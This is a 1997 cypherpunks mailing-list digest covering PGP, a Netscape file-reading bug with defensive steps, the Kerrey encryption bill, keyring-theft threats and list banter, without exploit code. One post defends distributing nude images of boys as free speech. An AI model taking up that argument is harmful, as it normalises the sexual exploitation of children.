From: "Silvakow" <ea2onov@atlas.moa.net>
Date: Tue, 17 Jun 1997 21:10:12 +0800
To: cypherpunks@Algebra.COM
Subject: PGP for Windows 95
Message-ID: <B0001773986@atlas.moa.net>
MIME-Version: 1.0
Content-Type: text/plain



Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
right now.  Information from pgp.com, but I want to know more before 
I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 
does anyone know if those PGP public keys are compatible with DOS 
PGP?
|[(*+- Silvakow -+*)]|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 18 Jun 1997 01:27:00 +0800
To: Arunas Norvaisa <arunas@post1.com>
Subject: Re: PGP for Windows 95
In-Reply-To: <3.0.32.19970617171734.00688900@post1.com>
Message-ID: <Pine.GSO.3.96.970617095702.13050B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, after failing to connect with a clue-server Arunas
Norvaisa wrote:

> On 08:55 AM 97.06.17 +0000, Silvakow wrote (and I quoted):
> >
> >Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
> >right now.  Information from pgp.com, but I want to know more before 
> >I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 
> >does anyone know if those PGP public keys are compatible with DOS 
> >PGP?
> 
>  What d'ya mean??? PGP 5.0 is much more (not USD 50 in any case);
> freeware PGP (latest version 2.6.2 for USA and 2.6.3i outside US)
> is working just fine in MS-Dos shell under windoze'95... If you
> mean specific shell (what I doubt), it's not PGP itself and you'll
> still will get those dos windows anyway...

I have not seen the PGP inc. version in stores.  Possible... ($50.00 is
about the standard price for similar products at Egghead and other mass
market chains.)

As for PGP 5.0 for Win95...  It is a full version of PGP.  It is
compatible if you set the options correctly.  It also contains a number of
new signature and key formats that are not backwards compatible.  It is a
real Win95 program and not a realmode DOS hack.  (It would be nice if it
would work on my machine, but that is another story...)

As for the DOS versions "working just fine"...  That depends if you need
to use long filenames or not.  If you don't then there is no real problem.
If you do, you or the shell has to hack around it.

It might help if you go to PGP's web site and take a look about what he is
talking about bbefore commenting.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 17 Jun 1997 22:57:18 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v03102800afcb21804eb5@[207.167.93.63]>
Message-ID: <v0302090bafcc4b872f67@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:30 am -0400 on 6/17/97, Bill Stewart wrote:

> Foo ...  On a list with several millionares, people who make the
> New York Times Magazine cover, people who get in the Times for
> successfully suing the NSA, college students who get covered on
> National Public Radio, people who were in Wired before it was c001,
> people who drop in on Esther in New York because they'll be too
> busy to see her at Hackers', people who were Xanadudes or SGML hackers
> decades before the Web caught on, people who were on the Well
> before that Grateful Dead lyricist got there, various wizards of
> speed and time, folks who have Japanese tv crews show up for their parties
> and already know Tim Leary when he drops... by, I'd say we have enough
> people who are or know Silicon Valley insiders to really complain much
> when people from the Other Coast talk about who _they_ had lunch with :-)

Wow. How utterly cool. I guess it's time to move. Your country sounds waay
better than my country...

;-)

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 18 Jun 1997 01:47:30 +0800
To: Michael Stutz <stutz@dsl.org>
Subject: The McVeigh Video Game
In-Reply-To: <Pine.LNX.3.94.970617120207.31850C-100000@seka.nacs.net>
Message-ID: <Pine.GSO.3.96.970617100717.13050C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, Michael Stutz wrote:

> I went out with a nabor last Friday night to get a beer at a local townie
> bar. 

Jim Nabor?

> They had a small dance floor with the typical bad music. When the
> deejay put on the Village People's "YMCA" he turned down the volume during
> the "Y - M - C - A" chorus and led the redneck crowd through his own
> version: "Fry Tim McVeigh," which they sang.

I am expecting Tim McVeigh to show up in a video game any day now.  Check
out some of the games at the local arcade.  See who the villians in the
"shoot-em-up" games are...  Used to be "drug dealers".  Now it is
"terrorists".  And you get to be the one to "blow the badguys away".  (In
my more paranoid moments I equate it to a plot to get people to side with
the government on the next televised shoot-the-bad-guys
spectacle/stand-off.)  In one, you get to go after them in a hellicopter!
(Painted black, no doubt...)

And you don't see any mothers protesting what this will do to their
kids...

Will the next video game target be evil cryptographers?

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 18 Jun 1997 02:12:44 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v03102800afcb21804eb5@[207.167.93.63]>
Message-ID: <v0310280fafcc7457ea6c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:30 PM -0700 6/16/97, Bill Stewart wrote:

>Foo ...  On a list with several millionares, people who make the
>New York Times Magazine cover, people who get in the Times for
>successfully suing the NSA, college students who get covered on
>National Public Radio, people who were in Wired before it was c001,
>people who drop in on Esther in New York because they'll be too
>busy to see her at Hackers', people who were Xanadudes or SGML hackers
>decades before the Web caught on, people who were on the Well
>before that Grateful Dead lyricist got there, various wizards of
>speed and time, folks who have Japanese tv crews show up for their parties
>and already know Tim Leary when he drops... by, I'd say we have enough
>people who are or know Silicon Valley insiders to really complain much
>when people from the Other Coast talk about who _they_ had lunch with :-)

I asked Marc what he thought of this, and he suggested we wander over and
ask Ted. Ted said it had to do with everything being deeply intertwingled.
The other Ted, the microprocessor guy, just wanted to get back to
woodworking.

Later on I ran into Whit and he said he hadn't given it much thought, but
that maybe Larry had.

I resolved to ask Gordon how he dealt with this situation, but I may not
run into him for awhile.

Next Saturday I'll ask Woz, assuming he show's up at Alan's party as he
usually does.

What was your point again?

(On a serious note, I take Bill's point. But I am not criticizing Declan's
growing list of contacts, I am really commenting on the "gossipy" aspect of
all D.C. politics. "There's no there, there," to paraphrase the Other
Dorothy (and not the Oz one). In D.C., the whole political process is a
series of social contacts. This is markedly different from life here in the
Greater Bay Area (100 miles north-south, 20 miles east-west), where the
technology and products dominate over gossip. Or so I think. Reporters in
the Bay Area are much less dependent on spin doctors for their stories.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 18 Jun 1997 02:26:14 +0800
To: cypherpunks@toad.com
Subject: Netscape Bug Reproduced
Message-ID: <199706171730.KAA09893@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Netscape privacy problem reproduced at EIFIST
Date:    6/16/97 5:34 PM
     
Netscape privacy problem:
     
Using information gleaned from the web site of the Danish company that 
first reported the problem, Keith Woodard and Dave Humphrey at EIFIST 
have built a web page which reproduces the privacy problem in Netscape 
Navigator and Communicator web browsers.  From that effort they have 
developed a better understanding of how the Netscape bug works, and what 
defensive measures users can take until a bugfix is available from 
Netscape.
     
First, the problem is indeed read-only, and involves only files to which 
the explicit path name is known.  Second, all file systems accessible 
from the Netscape user's system are reachable -- that means mapped 
network drives as well as the local hard disk.  Third, JavaScript can be 
used by a web site to automate reading a user's file so that it is 
invisible to the user.  However, the bug does not involve use of Java at 
all.
     
The demo website can be visited at the following URL:
     
     http://eifist.frb.org/hacker/fileupload.html
     
Please urge all Internet web users to take the following interim steps until a
permanent fix is available from Netscape:
     
*  In Navigator 3.x and 2.x, go to the Options menu and select Security 
   Preferences. Select the "Submitting a Form Insecurely" preference to  
   enable that warning dialog box.  This will generate a warning box 
   whenever a site tries to upload a form, giving the user a chance to 
   decide whether to allow it.
     
*  Also, in Navigator 3.x and 2.x, go to the Options menu and select
   Network Preferences.  Turn OFF the "Enable JavaScript" preference. 
   This will block execution of JavaScript code which might try to 
   perform an invisible file upload, while permitting display of the     
   rest of the page.
     
These measures are temporary until a full bug fix is made 
available by Netscape and proven against the EIFIST demo page.  
     
Regards





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 18 Jun 1997 02:26:48 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [IMPORTANT] Accounts payable
In-Reply-To: <199706171153.EAA00765@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970617113811.115668E-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Timmy C. May styles his facial hair to look more like pubic hair.
> 
>        .oooO           Oooo.
>        (   )   _   _   (   )
>         \ (   / ) ( \   ) /
>      ----\_)-/ (---) \-(_/---- Timmy C. May
>             (   ) (   )
>             oooO   Oooo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 18 Jun 1997 02:55:37 +0800
To: cypherpunks@Algebra.COM
Subject: Declan as a Crime Beat Reporter
In-Reply-To: <v03102800afcb21804eb5@[207.167.93.63]>
Message-ID: <v03102800afcc849b8fca@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Another way of viewing the Washington reporter problem is to view him as a
Hollywood reporter, sort of an Army Archerd character "doing lunch" at
Chasen's and The Brown Derby, not to mention doing lines at the Viper Club.

But a more accurate comparison is to crime beat reporters, those scribblers
who hang out at the Mafia watering holes and social clubs (when they're
allowed in, to spin a story in a favorable way), reporting on the turf
battles between the rival factions, and leaking out rumors of who's
planning to make a move on Vinnie Bones.

Washington is more than just a "pork barrel"...it's the world's largest and
most lavishly funded criminal enterprise, with "dons" dispensing pork to
supplicants, with new agencies intervening in private and corporate
transactions to throw roadblocks up, the better to extract tribute.

One can imagine Declan's story:

So I was like nervous as I met Donny the Arm, consigliero for the Kennedy
Family, at a dark little Irish pub in Georgetown. I could see he'd brought
some SS muscle with him, waiting out in his beamer. Nervous because I knew
what the Don's men had done to that reporter covering the Mary Jo Kopechne
accident.

So I got right to the point.

"I hear Billy the Chin is prepared to give some "consideration" to Jimmy
out in the Valley if he gets some consideration in return, something like a
5 big ones contribution to the Midnight Video Arcade program?," I asked.

"Ya heard right. Nobody said like we're no reasonable, or sumpin.' Say,
what's a good mick like you doin' talking to that wop D'Amato?," the aide
to Don Eddie said. I pressed him to return to the point about allowing
Netscape to export full-strength crypto if they make a contribution to the
President's favorite inner city program.

"Well," Donny the Arm said, "It's like this: before we tell the guys over
in Export to let his stuff out, we would, like, want some consideration." I
was puzzled, so I asked him what kind of consideration he was tallking
about.

"You wearin' a wire or sumpin'? Yo, you fall out of a tree, or sumpin'?"

My next visit that night was to a posh hunting lodge out in horse country,
home of most of the dons in the Reps Gang. Their leader, Newt the Shooter
laid it out in his own straight-shooting style.

"We're prepared to deal. If Billie the Chin signs off on the tax cuts to
our industries, and if the tobacco subsidy is restored, we're prepared to
support the Family's plan to repeal the First Amendment. It  hardly fits
with family values, anyway."

I had two more parties to get to that night, so I bid the boys a good night
and got back in my beat up car and headed off to Dupont Circle. I heard
that Sally the Schemer, doyenne of the Washington social circle, had some
juicy news on how Dotty the Crypto Chick was being placed in the Witness
Security Program.


One more day in the life of Declan McCullagh, Washington Crime Family Reporter

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 18 Jun 1997 01:34:37 +0800
To: Michael Stutz <stutz@dsl.org>
Subject: Re: McVeigh Sentence
In-Reply-To: <Pine.LNX.3.94.970617120207.31850C-100000@seka.nacs.net>
Message-ID: <199706171650.LAA04261@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.94.970617120207.31850C-100000@seka.nacs.net>, on 06/17/97 
   at 12:07 PM, Michael Stutz <stutz@dsl.org> said:

>On Tue, 17 Jun 1997, Huge Cajones Remailer wrote:

>>   I was watching Dateline NBC interview the McVeigh jurors about the
>> trial and the interviewer asked them what they found to be the strongest
>> or most convincing evidence against McVeigh.
>>   A grandmotherly type answered that the most convincing of the evidence
>> against him was the pictures of the dead bodies.

>I went out with a nabor last Friday night to get a beer at a local townie
>bar. They had a small dance floor with the typical bad music. When the
>deejay put on the Village People's "YMCA" he turned down the volume
>during the "Y - M - C - A" chorus and led the redneck crowd through his
>own version: "Fry Tim McVeigh," which they sang.

That's why I don't frequent such places any more.

"There needs to be lifeguards at the shallow end of the gene pool"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6bA3I9Co1n+aLhhAQETwAP+LCscZaTP3qc/5PnOFuANYY+eneQthjRH
0mKltRMv8EW+hwK9UR2CDarUCf2mwrdDQQWm6PU5Kh2FCNy47nJV7n8PltOxLLAQ
uWAUh8Kxl0p7Tpofg8tXW+MR4AsVF//iPBzuAgCI0vRUUnwD0hDJ2lryGNgXFEJv
6CsV4+2ZNvw=
=zuu4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 18 Jun 1997 00:21:03 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh Sentence
In-Reply-To: <199706170849.BAA28709@fat.doobie.com>
Message-ID: <Pine.LNX.3.94.970617120207.31850C-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, Huge Cajones Remailer wrote:

>   I was watching Dateline NBC interview the McVeigh jurors about the
> trial and the interviewer asked them what they found to be the strongest
> or most convincing evidence against McVeigh.
>   A grandmotherly type answered that the most convincing of the evidence
> against him was the pictures of the dead bodies.

I went out with a nabor last Friday night to get a beer at a local townie
bar. They had a small dance floor with the typical bad music. When the
deejay put on the Village People's "YMCA" he turned down the volume during
the "Y - M - C - A" chorus and led the redneck crowd through his own
version: "Fry Tim McVeigh," which they sang.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Karl Deardorff <karl_deardorff@icpmech.navy.mil>
Date: Wed, 18 Jun 1997 00:54:43 +0800
To: cypherpunks@toad.com
Subject: signup
Message-ID: <33A67785.1989@icpmech.navy.mil>
MIME-Version: 1.0
Content-Type: text/plain



signup





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 18 Jun 1997 01:48:49 +0800
To: Alan <alano@teleport.com>
Subject: Re: The McVeigh Video Game
In-Reply-To: <Pine.GSO.3.96.970617100717.13050C-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.94.970617131913.760F-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, Alan wrote:

> I am expecting Tim McVeigh to show up in a video game any day now.  Check
> out some of the games at the local arcade.  See who the villians in the
> "shoot-em-up" games are...  Used to be "drug dealers".  Now it is
> "terrorists".  And you get to be the one to "blow the badguys away".

Read a similar theme last night in James Kunstler's New Urbanist manifesto,
_The Geography of Nowhere_. He talks of the currently-ruling corporate
society's romanticism of the past in a discussion of the psychological
techniques used on parents and children in the Disney theme parks. Actors
guised as pirates, cowboys or brigands all stage "shoot-em-ups" to the
entertainment of middle-class families; he wonders if, in 100 years hence,
the status quo families of the age will watch reinactments of black gangsta
youth and their drive-by shootings.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 18 Jun 1997 05:24:54 +0800
To: enoch@zipcon.net
Subject: New PGP Key
Message-ID: <199706172113.OAA17930@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Just a brief note to say that I have generated a new 1024 bit PGP key for
my new ISP, zipcon.net.  I have signed this key with itself, and with my
Netcom key. 

Unlike my Netcom key, whose passphrase is only typed when I am alone with
my PC, the Zipcon key will be used on a multi-user Linux system for
signing posts and other such things, and will not be secure against having
its passphrase sniffed. 

Feel free to use the Zipcon key for casual commuication, but "Eyes Only"
stuff should ONLY be encrypted with the Netcom key.

- --
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
  





-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM6b9g8A6o0SuPU79AQGF9gP+MhGUUv6dL6T6gETgujfI61s52AFzrO8a
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jMHQjq9R/j8=
=3UMb
-----END PGP SIGNATURE-----


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzOm9YkAAAEEANXQ12uCbPMlbON1kwbHfaLZ79MaSQCmB1AJ399gmt6LhYR5
aWtbeuRzDw1m5lF0hDveWDga1WG9PY7WQ0nq/W+Ww9SrrTPCI055rUW5RcAeKUNS
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tB1NaWtlIER1dm9zIDxlbm9jaEB6aXBjb24ubmV0PokAlQMFEDOmlcY1TNKt+Wg9
AQEBKygD/ih1A1mjYcq8mrMmcBgDIAzu3RCbBv/uYGRXXherjKhrpdvHNTzd/LFF
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iwRYdbrA32mHiogyy552Rq2YMOtQxa5T0/LrNSgOesXNV1UYBNC7bLkj3iA7gag=
=f3h5
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 18 Jun 1997 05:41:31 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: [DES] Anguilla surpasses US military in code breaking challe
In-Reply-To: <Pine.LNX.3.91.970616184448.515B-100000@fatmans.demon.co.uk>
Message-ID: <Pine.3.89.9706171453.A20820-0100000@netcom22>
MIME-Version: 1.0
Content-Type: text/plain



The DESCHALL source is available under NDA. The timings of the various 
DESCHALL clients are on their homepage at 
http://www.frii.com/~rcv/deschall.htm


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 16 Jun 1997, Paul Bradley wrote:

> 
> > They have not released their source code for independent 
> > evaluation. I for one would feel a lot more comfortable with
> > DESChall if there was at least some outside review, even if
> > no general release is made.
> 
> I do not keep up with the various DES challenge efforts: Did DESChall 
> ever give a reason for not releasing source code?
> Has anyone tried reverse engineering the executable? 
> 
> Does anyone have statistics on how quick deschall is as opposed to, for 
> example, Bryddes? If they haven`t released source code and it is 
> significantly faster it may be they have further key schedule 
> optimisations they do not wish to share.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 18 Jun 1997 05:50:54 +0800
To: cypherpunks@cyberpass.net
Subject: Kerrey bill introduced in Senate
Message-ID: <3.0.2.32.19970617144146.009656c0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
Senate today, cosponsored by Sen. McCain. 

The bill, if passed, would:

Criminalize the knowing use of crypto to encrypt data or communications in
furtherance of a crime; (s. 104)

Criminalize breaking another person's ciphertext for the purpose of
violating their privacy, security, or property rights; (goodbye, Netscape
bugs bounty and DES/RC4 cracks) (s. 105(3))

Criminalize intercepting another's intellectual property for the purpose of
violating intellectual property rights (s. 105(4))

Criminalize issuing a key to another person in furtherance of a crime (s.
105(6))

Require federal government purchasers of crypto equipment to buy GAK
crypto; (s. 202, 204)

Require crypto products purchased with federal funds for use on a public
network to employ GAK crypto; (s. 203, 205)

Legalize the export of 56-bit DES crypto; (s. 302)

Criminalizes the issuance of signature certificates by registered CA's for
encryption keys if the user has not complied with GAK procedures; (s.
407(a)(4))

Criminalizes requesting a signature certificate for an encryption key from
a registered CA if the user has not complied with GAK procedures; (s.
407(a)(5))

Allows the Secretary of Commerce to "make investigations, obtain
information, take sworn testimony, and require reports or the keeping of
records by .. any person", to the extent necessary to enforce the Act; (s.
701(a))

Allows the Secretary of Commerce to subpoena witnesses and documents in any
State at any designated place; (s. 701(b)(3)(A))

Allows the Secretary of Commerce to impose civil/adminstrative penalties of
up to $100K for violations of the Act; (s. 702(1))


Ugh. The original is online at
<http://www.senate.gov/~kerrey/encrypt/encrypt2.html>, mirrored at
<http://www.parrhesia.com/kerrey.html>.




--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 18 Jun 1997 06:31:26 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Impact of Netscape kernel hole (fwd)
In-Reply-To: <Pine.LNX.3.91.970614112312.1213B-100000@fatmans.demon.co.uk>
Message-ID: <Pine.GSO.3.96.970617151502.27880A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 14 Jun 1997, Paul Bradley wrote:

> 
> 
> >It'd be nice to have more specifics about the whole situation, but
> >regardless - any preliminary threat assessments?  Exactly how widely
> >exploited do you think this has been?
> >
> >Tim's post (although refuted by Marc) raises some serious issues since I
> >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp
> >
> >Some coherent input on the possible impact of this would be appreciated.
> 
> Basically the threat model is very simple:
> 
> Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
> c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
> keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
> to go through most of the common places.
> 
> The very same guy probably has a password that is:

[snip]

> Can you say "dictionary attack"???. 

There is another, more insidious attack to worry about.

Joe Cypherpunk has his PGP secret keyring in the "standard location".  Joe
Cypherpunk has also been posting to "Unpopular Usenet Group #666" (be it
alt.religion.scientology or alt.clinton.fisting) using a nym(s) which have
keys on the PGP keyring.

All the perp has to do, once the secring.pgp is obtained is "pgp -kvv
secring.pgp" and he now knows that Joe Cypherpunk and Secret Nym are the
same person.

This is a *BAD* thing.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 18 Jun 1997 19:01:02 +0800
To: "Garrard, David" <David.Garrard@exch.eds.com>
Subject: RE: Digiweb.com's Movie Boys
In-Reply-To: <c=US%a=_%p=EDS%l=AUADMEDS001-970617034030Z-927@ustre100.exch.eds.com>
Message-ID: <Pine.LNX.3.91.970617160517.787C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



CC list cut from huge chain of people to just cpunx.

> Explain to me how distributing JPEGS's of nude boys is an exercise of
> personal freedom. 

I would have thought this was obvious, clearly not. Distributing any 
information is exercising ones right to free speech. Just because the 
speech happens to offend you does not make it wrong, I also find that 
often it is the most censorous that are the most repressed, I`m sure the 
poster probably has a collection of child pornography, or maybe just sits 
on the beach watching small boys?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 18 Jun 1997 04:44:30 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <3.0.2.32.19970616233000.0075a9f4@popd.ix.netcom.com>
Message-ID: <v03020908afcc9f662d98@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:43 pm -0400 on 6/17/97, Tim May wrote:


> I had two more parties to get to that night, so I bid the boys a good night
> and got back in my beat up car and headed off to Dupont Circle. I heard
> that Sally the Schemer, doyenne of the Washington social circle, had some
> juicy news on how Dotty the Crypto Chick was being placed in the Witness
> Security Program.
:-)


Don't quit your day job, Tim.

Cheers,
Hunter S. Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 18 Jun 1997 19:30:25 +0800
To: David Coe <dcoe@overlord.com>
Subject: Re: keeping secrets and knowing when they're compromised
In-Reply-To: <33A57FB8.662D1FCA@overlord.com>
Message-ID: <Pine.LNX.3.91.970617161005.787D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > I also want to know, if I'm still around, when and if those documents
> > are decrypted.  I.e. In the event that my friend isn't as trustworthy
> > as I presume, I want to find out if s/he decrypts the files while I'm
> > still around.

There is a solution, a simple one, that can split the repsonsibility.

Encrypt the documents with a normal symmetric cryptosystem, something 
strong and unlikely to be compromised in the near future, say LOKI or 
IDEA, or maybe 3DES if you trust it.

XOR the key with a random value, give the result to your friend and print 
out the random value, sign it and give it to a bank or solicitor as a 
bequest in your will to your friend.

If and when something does happen the friend proves your death to the 
bank using probate or a death certificate, gets the random value, XORs it 
with the string you gave her and she has the key. She can then easily 
decrypt the data. 

Yes, it does involve a third party, but it is unlikely your friend could 
collude with a respected bank or solicitor/notary to recover the key...
Really all depends how paranoid you are.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 18 Jun 1997 04:48:10 +0800
To: cypherpunks@toad.com
Subject: LAN_law
Message-ID: <1.5.4.32.19970617202350.006ee2e8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Los Alamos lab is using its supercomps to develop
pattern-recognition programs to spot fraud in
the health care system similar to work for IRS
to spot tax cheats.

LAN_law






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 18 Jun 1997 04:52:54 +0800
To: cypherpunks@toad.com
Subject: LOW_orb
Message-ID: <1.5.4.32.19970617203001.00696ee4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Motorola plans to loft its third low-orbit sat system,
dubbed Celestri, for high-speed data, video and 
broadcast. That will make 7 systems for highbanding
low wares.

LOW_orb





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 18 Jun 1997 08:02:53 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Crime Beat Reporter
Message-ID: <Pine.GSO.3.95.970617164632.24396B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 17 Jun 1997 14:38:49 -0700 (PDT)
From: Joe Shea <joeshea@netcom.com>
To: Declan McCullagh <declan@well.com>


	As a real Hollywood reporter, I'm sorry to tell you both Chasen's
and the Brown Derby are long shuttered.  So is Scandia and Cock 'n Bull. 
